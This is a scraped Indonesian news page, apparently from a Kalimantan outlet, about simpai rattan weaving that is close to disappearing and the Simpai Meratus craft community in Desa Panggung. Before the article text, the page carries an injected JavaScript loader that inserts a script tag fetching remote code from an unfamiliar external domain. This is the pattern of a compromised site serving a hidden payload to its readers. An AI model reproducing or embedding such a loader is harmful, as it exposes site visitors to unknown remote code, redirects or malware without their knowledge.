(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Kerajinan Anyaman Simpai yang Saat Ini Hampir Punah


BANJARBARU, Kerajinan anyaman simpai sudah menjadi sebuah budaya bagi masyarakat Kalimantan, kebiasaan-kebiasaan yang turun menurun dengan hasil karya yang luar biasa seperti baju adat, senjata tradisional dan lain sebagainya.

Pemanfaatan hasil alam bukan kayu menjadi hal yang manis untuk digunakan dan tak lekang oleh waktu, bahkan di era milenial saat ini masih dan bahkan semakin banyak peminat hasil karya ini.

RPH Batang Alai melakukan inventarisasi potensi kerajinan simpai di Desa Panggung RT. 01 Kecamatan Haruyan, di dapati para pengrajin simpai lebih dari 20 orang pemuda dan pelajar yang sudah tergabung dalam Komunitas Pecinta Simpai “Simpai Meratus” yang di Ketuai oleh Ramidi dari Kiu Desa Hinas Kiri.

Anggota Komunitas ini tersebar diseluruh Kabupaten di Kalimantan Selatan, terutama Kabupaten di pinggiran pegunungan meratus. Komunitas ini terbentuk berdasarkan kesepakatan bersama dan belum ada kekuatan secara hukum.Khusus Desa Panggung Kecamatan Haruyan, anggota Simpai Meratus ini sehari-harinya beraktivitas di Sanggar Kerajinan Pandawa Desa Panggung untuk melayani pelanggan yang datang, bahan dasar pembuatan simpai adalah Lang’am (Jangang) dan rotan yang diambil dari daerah Lok Laga, Hamak dan desa lain dikaki pegunungan meratus. Proses pembuatan bahan baku sampai siap anyam membutuhkan waktu 2 sampai 3 hari.

Menurut Atul salah seorang pengrajin, ketrampilannya diperoleh dari salah seorang suku dayak dari Kalimantan Timur dan dilanjutkan secara autodidak, saat ini beberapa anggota yang sudah sangat mahir setiap hari menjual hasil karyanya di Menara Tebing Siring Banjarmasin baik kepada wisatawan asing maupun wisatawan lokal.

Barang kerajinan meraka bukan hanya berupa simpai/gelang tetapi juga berupa tas, anjat, topi, butah, dan lain-lain. Hasil kerajinan ini dipajang di Menara tebing Siring Banjarmasin, ketrampilan sejenis ini sudah sangat jarang ada di masyarakat dayak sehingga dikuatirkan lambat laun akan punah. Oleh karena itu mereka berupaya untuk mengajarkan kembali ketrampilan ini kepada masyarakat asli dayak. (dsh)

Reporter :Dsh
Editor :Cell

Desy Arfianty

Recent Posts

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

36 menit ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

2 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

2 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

2 jam ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

4 jam ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

18 jam ago

This website uses cookies.